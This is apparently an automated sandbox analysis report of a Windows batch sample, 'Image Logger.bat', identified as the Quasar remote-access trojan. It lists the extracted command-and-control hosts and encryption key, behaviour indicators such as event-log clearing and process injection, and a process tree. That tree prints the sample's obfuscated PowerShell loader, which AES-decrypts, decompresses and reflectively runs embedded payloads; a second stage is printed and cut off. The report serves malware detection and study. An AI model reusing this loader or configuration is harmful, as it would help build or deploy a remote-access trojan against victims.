Analysis
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max time kernel
150s -
max time network
149s -
platform
windows10-ltsc 2021_x64 -
resource
win10ltsc2021-20241211-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system -
submitted
26-12-2024 12:04
Static task
static1
Behavioral task
behavioral1
Sample
Image Logger.bat
Resource
win10v2004-20241007-en
Behavioral task
behavioral2
Sample
Image Logger.bat
Resource
win10ltsc2021-20241211-en
Behavioral task
behavioral3
Sample
Image Logger.bat
Resource
win11-20241007-en
General
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Target
Image Logger.bat
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Size
12.8MB
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MD5
a2e3e4286e8b22b3b021a6706b899dd7
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SHA1
e6179204735421c3927f27c13f9751af1dce9bd2
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SHA256
efd80dd8487437f58413be6e7d2da6ea866ae7626b3225dbf326e8c82c85e580
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SHA512
3ff5d19accd1fa6765ffc3554bb9cfe3989eee4cf226c2ce7abbaff47a1586253ab1b408f4f9e47611ea7d2415f3298b12dfada1d1987d43c2efa16aac11e3e8
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SSDEEP
49152:JZHKpAhg6/Ri76PuM0gcqQP+GBRa1SgA+754EU1kOeTUliFDvnrNqjdsusoj8nNc:e
Malware Config
Extracted
quasar
1.0.0.0
v15.6.3 | xen
studies-royal.at.ply.gg:31849
usa-departments.at.ply.gg:37274
category-in.at.ply.gg:42204
bd62476d-8a2b-4e05-a8e5-68cc94baac4f
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encryption_key
AA41DD5506DCFCA6EE3BF934CC3C9319F80E5E10
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install_name
.exe
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log_directory
$sxr-Logs
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reconnect_delay
5000
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startup_key
$sxr-seroxen
Signatures
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Quasar family
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Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/2400-55-0x0000029102E00000-0x00000291035BC000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 3100 created 628 3100 Image Logger.bat.exe 5 PID 2400 created 628 2400 $sxr-powershell.exe 5 PID 2400 created 628 2400 $sxr-powershell.exe 5 PID 3100 created 628 3100 Image Logger.bat.exe 5 PID 3100 created 628 3100 Image Logger.bat.exe 5 -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2062871678-1047416116-518495306-1000\Control Panel\International\Geo\Nation Image Logger.bat.exe -
Deletes itself 1 IoCs
pid Process 3100 Image Logger.bat.exe -
Executes dropped EXE 3 IoCs
pid Process 3100 Image Logger.bat.exe 2400 $sxr-powershell.exe 3428 $sxr-powershell.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx svchost.exe -
Hide Artifacts: Hidden Window 1 TTPs 2 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
pid Process 2400 $sxr-powershell.exe 3428 $sxr-powershell.exe -
Drops file in System32 directory 14 IoCs
description ioc Process File opened for modification C:\Windows\System32\vcruntime140_1d.dll Image Logger.bat.exe File opened for modification C:\Windows\System32\vcruntime140_1d.dll $sxr-powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File created C:\Windows\System32\vcruntime140_1d.dll Image Logger.bat.exe File opened for modification C:\Windows\System32\ucrtbased.dll $sxr-powershell.exe File opened for modification C:\Windows\System32\vcruntime140d.dll $sxr-powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\ucrtbased.dll Image Logger.bat.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File created C:\Windows\System32\ucrtbased.dll Image Logger.bat.exe File created C:\Windows\System32\vcruntime140d.dll Image Logger.bat.exe File opened for modification C:\Windows\System32\vcruntime140d.dll Image Logger.bat.exe -
Suspicious use of SetThreadContext 5 IoCs
description pid Process procid_target PID 3100 set thread context of 2536 3100 Image Logger.bat.exe 93 PID 2400 set thread context of 4456 2400 $sxr-powershell.exe 95 PID 2400 set thread context of 1188 2400 $sxr-powershell.exe 97 PID 3100 set thread context of 1716 3100 Image Logger.bat.exe 99 PID 3100 set thread context of 1940 3100 Image Logger.bat.exe 100 -
Drops file in Windows directory 6 IoCs
description ioc Process File opened for modification C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe File created C:\Windows\$sxr-powershell.exe Image Logger.bat.exe File opened for modification C:\Windows\$sxr-powershell.exe Image Logger.bat.exe File created C:\Windows\$sxr-mshta.exe Image Logger.bat.exe File opened for modification C:\Windows\$sxr-mshta.exe Image Logger.bat.exe File created C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 396 cmd.exe 3692 PING.EXE -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Kills process with taskkill 1 IoCs
pid Process 1140 taskkill.exe -
Modifies data under HKEY_USERS 14 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1735214771" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 26 Dec 2024 12:06:12 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={D782B869-D311-4CAB-9B74-178D0BC00E66}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
pid Process 3692 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3100 Image Logger.bat.exe 3100 Image Logger.bat.exe 3100 Image Logger.bat.exe 2536 dllhost.exe 2536 dllhost.exe 2536 dllhost.exe 2536 dllhost.exe 3100 Image Logger.bat.exe 3100 Image Logger.bat.exe 2400 $sxr-powershell.exe 2400 $sxr-powershell.exe 2400 $sxr-powershell.exe 2400 $sxr-powershell.exe 4456 dllhost.exe 4456 dllhost.exe 4456 dllhost.exe 4456 dllhost.exe 2400 $sxr-powershell.exe 2400 $sxr-powershell.exe 3428 $sxr-powershell.exe 3428 $sxr-powershell.exe 2400 $sxr-powershell.exe 1188 dllhost.exe 1188 dllhost.exe 3428 $sxr-powershell.exe 3428 $sxr-powershell.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe 1188 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3100 Image Logger.bat.exe Token: SeDebugPrivilege 3100 Image Logger.bat.exe Token: SeDebugPrivilege 2536 dllhost.exe Token: SeDebugPrivilege 2400 $sxr-powershell.exe Token: SeDebugPrivilege 2400 $sxr-powershell.exe Token: SeDebugPrivilege 4456 dllhost.exe Token: SeDebugPrivilege 3428 $sxr-powershell.exe Token: SeDebugPrivilege 2400 $sxr-powershell.exe Token: SeDebugPrivilege 1188 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 2104 svchost.exe Token: SeIncreaseQuotaPrivilege 2104 svchost.exe Token: SeSecurityPrivilege 2104 svchost.exe Token: SeTakeOwnershipPrivilege 2104 svchost.exe Token: SeLoadDriverPrivilege 2104 svchost.exe Token: SeSystemtimePrivilege 2104 svchost.exe Token: SeBackupPrivilege 2104 svchost.exe Token: SeRestorePrivilege 2104 svchost.exe Token: SeShutdownPrivilege 2104 svchost.exe Token: SeSystemEnvironmentPrivilege 2104 svchost.exe Token: SeUndockPrivilege 2104 svchost.exe Token: SeManageVolumePrivilege 2104 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2104 svchost.exe Token: SeIncreaseQuotaPrivilege 2104 svchost.exe Token: SeSecurityPrivilege 2104 svchost.exe Token: SeTakeOwnershipPrivilege 2104 svchost.exe Token: SeLoadDriverPrivilege 2104 svchost.exe Token: SeSystemtimePrivilege 2104 svchost.exe Token: SeBackupPrivilege 2104 svchost.exe Token: SeRestorePrivilege 2104 svchost.exe Token: SeShutdownPrivilege 2104 svchost.exe Token: SeSystemEnvironmentPrivilege 2104 svchost.exe Token: SeUndockPrivilege 2104 svchost.exe Token: SeManageVolumePrivilege 2104 svchost.exe Token: SeAuditPrivilege 3012 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2104 svchost.exe Token: SeIncreaseQuotaPrivilege 2104 svchost.exe Token: SeSecurityPrivilege 2104 svchost.exe Token: SeTakeOwnershipPrivilege 2104 svchost.exe Token: SeLoadDriverPrivilege 2104 svchost.exe Token: SeSystemtimePrivilege 2104 svchost.exe Token: SeBackupPrivilege 2104 svchost.exe Token: SeRestorePrivilege 2104 svchost.exe Token: SeShutdownPrivilege 2104 svchost.exe Token: SeSystemEnvironmentPrivilege 2104 svchost.exe Token: SeUndockPrivilege 2104 svchost.exe Token: SeManageVolumePrivilege 2104 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2104 svchost.exe Token: SeIncreaseQuotaPrivilege 2104 svchost.exe Token: SeSecurityPrivilege 2104 svchost.exe Token: SeTakeOwnershipPrivilege 2104 svchost.exe Token: SeLoadDriverPrivilege 2104 svchost.exe Token: SeSystemtimePrivilege 2104 svchost.exe Token: SeBackupPrivilege 2104 svchost.exe Token: SeRestorePrivilege 2104 svchost.exe Token: SeShutdownPrivilege 2104 svchost.exe Token: SeSystemEnvironmentPrivilege 2104 svchost.exe Token: SeUndockPrivilege 2104 svchost.exe Token: SeManageVolumePrivilege 2104 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2104 svchost.exe Token: SeIncreaseQuotaPrivilege 2104 svchost.exe Token: SeSecurityPrivilege 2104 svchost.exe Token: SeTakeOwnershipPrivilege 2104 svchost.exe Token: SeLoadDriverPrivilege 2104 svchost.exe Token: SeSystemtimePrivilege 2104 svchost.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2400 $sxr-powershell.exe 1720 Conhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4684 wrote to memory of 3704 4684 cmd.exe 82 PID 4684 wrote to memory of 3704 4684 cmd.exe 82 PID 3704 wrote to memory of 1808 3704 net.exe 83 PID 3704 wrote to memory of 1808 3704 net.exe 83 PID 4684 wrote to memory of 3100 4684 cmd.exe 90 PID 4684 wrote to memory of 3100 4684 cmd.exe 90 PID 3100 wrote to memory of 2536 3100 Image Logger.bat.exe 93 PID 3100 wrote to memory of 2536 3100 Image Logger.bat.exe 93 PID 3100 wrote to memory of 2536 3100 Image Logger.bat.exe 93 PID 3100 wrote to memory of 2536 3100 Image Logger.bat.exe 93 PID 3100 wrote to memory of 2536 3100 Image Logger.bat.exe 93 PID 3100 wrote to memory of 2536 3100 Image Logger.bat.exe 93 PID 3100 wrote to memory of 2536 3100 Image Logger.bat.exe 93 PID 3100 wrote to memory of 2400 3100 Image Logger.bat.exe 94 PID 3100 wrote to memory of 2400 3100 Image Logger.bat.exe 94 PID 2400 wrote to memory of 4456 2400 $sxr-powershell.exe 95 PID 2400 wrote to memory of 4456 2400 $sxr-powershell.exe 95 PID 2400 wrote to memory of 4456 2400 $sxr-powershell.exe 95 PID 2400 wrote to memory of 4456 2400 $sxr-powershell.exe 95 PID 2400 wrote to memory of 4456 2400 $sxr-powershell.exe 95 PID 2400 wrote to memory of 4456 2400 $sxr-powershell.exe 95 PID 2400 wrote to memory of 4456 2400 $sxr-powershell.exe 95 PID 2400 wrote to memory of 3428 2400 $sxr-powershell.exe 96 PID 2400 wrote to memory of 3428 2400 $sxr-powershell.exe 96 PID 2400 wrote to memory of 1188 2400 $sxr-powershell.exe 97 PID 2400 wrote to memory of 1188 2400 $sxr-powershell.exe 97 PID 2400 wrote to memory of 1188 2400 $sxr-powershell.exe 97 PID 2400 wrote to memory of 1188 2400 $sxr-powershell.exe 97 PID 2400 wrote to memory of 1188 2400 $sxr-powershell.exe 97 PID 2400 wrote to memory of 1188 2400 $sxr-powershell.exe 97 PID 2400 wrote to memory of 1188 2400 $sxr-powershell.exe 97 PID 2400 wrote to memory of 1188 2400 $sxr-powershell.exe 97 PID 2400 wrote to memory of 1188 2400 $sxr-powershell.exe 97 PID 1188 wrote to memory of 628 1188 dllhost.exe 5 PID 1188 wrote to memory of 676 1188 dllhost.exe 7 PID 1188 wrote to memory of 976 1188 dllhost.exe 12 PID 1188 wrote to memory of 476 1188 dllhost.exe 13 PID 1188 wrote to memory of 764 1188 dllhost.exe 14 PID 1188 wrote to memory of 884 1188 dllhost.exe 15 PID 1188 wrote to memory of 940 1188 dllhost.exe 16 PID 1188 wrote to memory of 1064 1188 dllhost.exe 17 PID 1188 wrote to memory of 1072 1188 dllhost.exe 18 PID 1188 wrote to memory of 1112 1188 dllhost.exe 19 PID 1188 wrote to memory of 1208 1188 dllhost.exe 20 PID 1188 wrote to memory of 1392 1188 dllhost.exe 22 PID 1188 wrote to memory of 1448 1188 dllhost.exe 23 PID 1188 wrote to memory of 1500 1188 dllhost.exe 24 PID 1188 wrote to memory of 1528 1188 dllhost.exe 25 PID 1188 wrote to memory of 1536 1188 dllhost.exe 26 PID 1188 wrote to memory of 1616 1188 dllhost.exe 27 PID 1188 wrote to memory of 1664 1188 dllhost.exe 28 PID 1188 wrote to memory of 1688 1188 dllhost.exe 29 PID 1188 wrote to memory of 1732 1188 dllhost.exe 30 PID 1188 wrote to memory of 1772 1188 dllhost.exe 31 PID 1188 wrote to memory of 1884 1188 dllhost.exe 32 PID 1188 wrote to memory of 2024 1188 dllhost.exe 33 PID 1188 wrote to memory of 2040 1188 dllhost.exe 34 PID 1188 wrote to memory of 1260 1188 dllhost.exe 35 PID 1188 wrote to memory of 1276 1188 dllhost.exe 36 PID 1188 wrote to memory of 2104 1188 dllhost.exe 37 PID 1188 wrote to memory of 2144 1188 dllhost.exe 38 PID 1188 wrote to memory of 2292 1188 dllhost.exe 39 PID 1188 wrote to memory of 2420 1188 dllhost.exe 40 PID 1188 wrote to memory of 2568 1188 dllhost.exe 42 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 1196 attrib.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:628
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1072
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{59bd4181-71f8-48a3-98a1-165cc17f0334}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2536
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{7663841d-212b-409b-98b0-fdcc720b172e}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4456
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{4f183c11-3c5b-47de-9f42-2e47e9172b83}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1188
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{1b3f6287-d2b0-4956-977c-8954019b43a2}2⤵PID:1716
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{2f55b2ce-dd3d-4ebd-9774-3233076fb70a}2⤵PID:1940
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:976
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:476
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:764
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:940
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1064
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:1112
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1208
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1392
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2792
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1448
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1500
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1528
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1536
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1616
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1688
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1732
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2684
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1772
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:2024
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2040
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1260
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1276
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2104
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2144
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2292
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2420
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2568
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2700
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2816
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2872
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2972
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3012
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:3048
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:1568
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2236
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3324
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3524
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Image Logger.bat"2⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:4684 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2516
-
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C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
PID:3704 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵PID:1808
-
-
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C:\Users\Admin\AppData\Local\Temp\Image Logger.bat.exe"Image Logger.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function mJkVt($luVLu){ $XURkq=[System.Security.Cryptography.Aes]::Create(); $XURkq.Mode=[System.Security.Cryptography.CipherMode]::CBC; $XURkq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $XURkq.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EJfVxric5nYI0sCifeM7QtCynXluiHdjC3MMcb2UUrA='); $XURkq.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IIC8RBkY6uF/2e5D1cUgfg=='); $XhpAT=$XURkq.CreateDecryptor(); $return_var=$XhpAT.TransformFinalBlock($luVLu, 0, $luVLu.Length); $XhpAT.Dispose(); $XURkq.Dispose(); $return_var;}function hLEOv($luVLu){ $SBbXV=New-Object System.IO.MemoryStream(,$luVLu); $RlXKT=New-Object System.IO.MemoryStream; $XPinw=New-Object System.IO.Compression.GZipStream($SBbXV, [IO.Compression.CompressionMode]::Decompress); $XPinw.CopyTo($RlXKT); $XPinw.Dispose(); $SBbXV.Dispose(); $RlXKT.Dispose(); $RlXKT.ToArray();}function tzqfR($luVLu,$MCcIJ){ $VEHZu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$luVLu); $cUkGe=$VEHZu.EntryPoint; $cUkGe.Invoke($null, $MCcIJ);}$flgbs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Image Logger.bat').Split([Environment]::NewLine);foreach ($zFvRn in $flgbs) { if ($zFvRn.StartsWith(':: ')) { $TRCCB=$zFvRn.Substring(4); break; }}$YrvSK=[string[]]$TRCCB.Split('\');$xplph=hLEOv (mJkVt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($YrvSK[0])));$vNzEy=hLEOv (mJkVt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($YrvSK[1])));tzqfR $vNzEy (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));tzqfR $xplph (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Deletes itself
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3100 -
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function GwNqo($hcWdd){ $GbeQA=[System.Security.Cryptography.Aes]::Create(); $GbeQA.Mode=[System.Security.Cryptography.CipherMode]::CBC; $GbeQA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $GbeQA.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw='); $GbeQA.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw=='); $Gzcae=$GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')(); $xZCEn=$Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hcWdd, 0, $hcWdd.Length); $Gzcae.Dispose(); $GbeQA.Dispose(); $xZCEn;}function KdelZ($hcWdd){ $xreea=New-Object System.IO.MemoryStream(,$hcWdd); $tUOxo=New-Object System.IO.MemoryStream; $AlcuH=New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::Decompress); $AlcuH.CopyTo($tUOxo); $AlcuH.Dispose(); $xreea.Dispose(); $tUOxo.Dispose(); $tUOxo.ToArray();}function XnBtD($hcWdd,$vCKUl){ $UUjhO=[System.Reflection.Assembly]::Load([byte[]]$hcWdd); $EYBYD=$UUjhO.EntryPoint; $EYBYD.Invoke($null, $vCKUl);}$GbeQA1 = New-Object System.Security.Cryptography.AesManaged;$GbeQA1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA1.Padding = 